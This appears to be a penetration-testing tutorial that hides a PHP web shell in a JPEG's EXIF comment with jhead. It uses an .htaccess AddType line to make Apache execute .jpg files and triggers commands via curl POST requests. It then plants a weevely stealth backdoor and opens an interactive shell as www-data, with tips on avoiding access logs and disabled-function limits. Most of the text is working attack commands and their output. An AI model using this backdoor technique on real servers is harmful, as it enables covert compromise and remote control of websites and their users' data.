In order to manipulate the EXIF JPEG metadata fields, I will use the command line jhead
tool. There exist many other tools out there with similar functionality to choose for your needs.
Now that we have our metadata manipulation tool lets pick up a random jpeg image and read the metadata.
root@testbed:~# jhead image.jpg
File name : image.jpg
File size : 208103 bytes
File date : 2011:09:07 21:20:10
Date/Time : 2007:04:24 14:11:55
Resolution : 1197 x 478
======= IPTC data: =======
Record vers. : 2
The file is pretty much clean so lets make it a little bit dirtier by hiding some PHP code in the metadata comment field. To edit the comment field, I will use the -ce
flag of the jhead
tool.
root@testbed:~# jhead -ce image.jpg
Modified: image.jpg
root@testbed:~# jhead image.jpg
File name : image.jpg
File size : 182007 bytes
File date : 2011:09:07 21:20:10
Resolution : 1197 x 478
Comment : <?php passthru($_POST['cmd']); __halt_compiler();
Using the passthru
function we can execute an external command to the target machine. The command is passed to the target using the POST method under the “cmd” name. Here someone might think that we can use the GET method too in order to pass the command to the target machine. That’s true, we can also use it, although the commands that we send to the target are easily noticeable in the httpd access log because they are part of the URL.
The halt_compiler
command will stop the compiler from parsing the images binary data. Metadata info is stored before the images data, so we need to stop the compiler after our code, because if a <?
occurs in the following binary data the execution will break. That’s why we do not need to close the PHP section.
Now that we have hide our PHP code in the image file, we need to force the target web server to handle the .jpg file as a PHP file. To achieve this we will use the AddType
directive in a .htaccess
file. AddType
directive maps a given filename extension onto a specified content type. In order to use the AddType
directive, the target Apache must have mod_mime
enabled and allow at least FileInfo
override in the directory that we will put the file.
We will upload the malicious jpg file into the media path, so we need to put a .htaccess
in the relevant dir with the AddType
directive mapping .jpg files onto .php.
root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess
OK, everything is set up so lets launch our first attempt to execute a command in the target machine. To send the command using the POST method, I will use the curl
tool.
root@testbed:~# curl -d cmd=id http://192.168.2.11/media/image.jpg
.........JFIF..........................................................uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bingo! the command has been successfully executed in the target machine. The garbage at the begging of the output is caused by the data of the image’s header.
Something that must be mentioned here, is that some PHP configurations might have passthru
included into their disabled functions. In that case you can choose a similar function like system
, exec
, shell_exec
, etc.
Now that we have confirmed that our technique is working lets hide a whole PHP backdoor shell in the comment field of the same image. For that purpose, I will choose the weevely PHP shell, but you can choose an alternative shell that you have in your pentest arsenal.
Initially we create the shell with the weevely script and then copy the generated PHP code into the metadata comment field.
root@testbed:weevely# ./weevely.py -g -o back.php -p admin
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Backdoor file 'back.php' created with password 'admin'.
Finally, in order to establish a terminal with the target server, we call weevely with the terminal flag giving the image URL and the password that we used in the creation step.
root@testbed:weevely# ./weevely.py -t -p admin -u http://192.168.2.11/media/image.jpg
Weevely 0.3 – Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Using method ‘system()’.
+ Retrieving terminal basic environment variables .
[www-data@webtestbed /var/www/media] ls
image.jpg
[www-data@webtestbed /var/www/media] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[www-data@webtestbed /var/www/media]
Pwned! We have Apache user (www-data) privileges access to the target machine.